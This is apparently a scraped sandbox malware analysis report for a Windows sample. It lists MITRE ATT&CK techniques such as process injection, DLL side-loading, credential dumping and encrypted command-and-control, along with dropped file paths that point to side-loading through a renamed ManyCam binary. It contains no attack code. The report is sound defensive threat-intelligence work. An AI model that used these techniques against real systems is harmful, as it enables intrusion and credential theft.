Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Tactics:	Credential Access, Discovery
Data Sources:	Command: Command Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XtDhwVrVKn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rxp2.hep.wisc.edu[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rxp2.hep.wisc.edu[2].txt

C:\Users\user\AppData\Local\Temp\49fde494

C:\Users\user\AppData\Local\Temp\aylundwhckajft

C:\Users\user\AppData\Roaming\NotepadWizardv2\CrashRpt.dll

C:\Users\user\AppData\Roaming\NotepadWizardv2\ManyCam.exe

C:\Users\user\AppData\Roaming\NotepadWizardv2\cv099.dll

C:\Users\user\AppData\Roaming\NotepadWizardv2\cxcore099.dll

C:\Users\user\AppData\Roaming\NotepadWizardv2\cximagecrt.dll

C:\Users\user\AppData\Roaming\NotepadWizardv2\dbghelp.dll

C:\Users\user\AppData\Roaming\NotepadWizardv2\highgui099.dll

C:\Users\user\AppData\Roaming\NotepadWizardv2\titanium.raw

Static File Info

General

Windows Analysis Report
XtDhwVrVKn.exe

Function 0179D5E0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 127
registryCOMMON

Function 0179DA20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121
libraryCOMMON

Function 0178C360 Relevance: 77.4, APIs: 31, Strings: 13, Instructions: 409
memoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre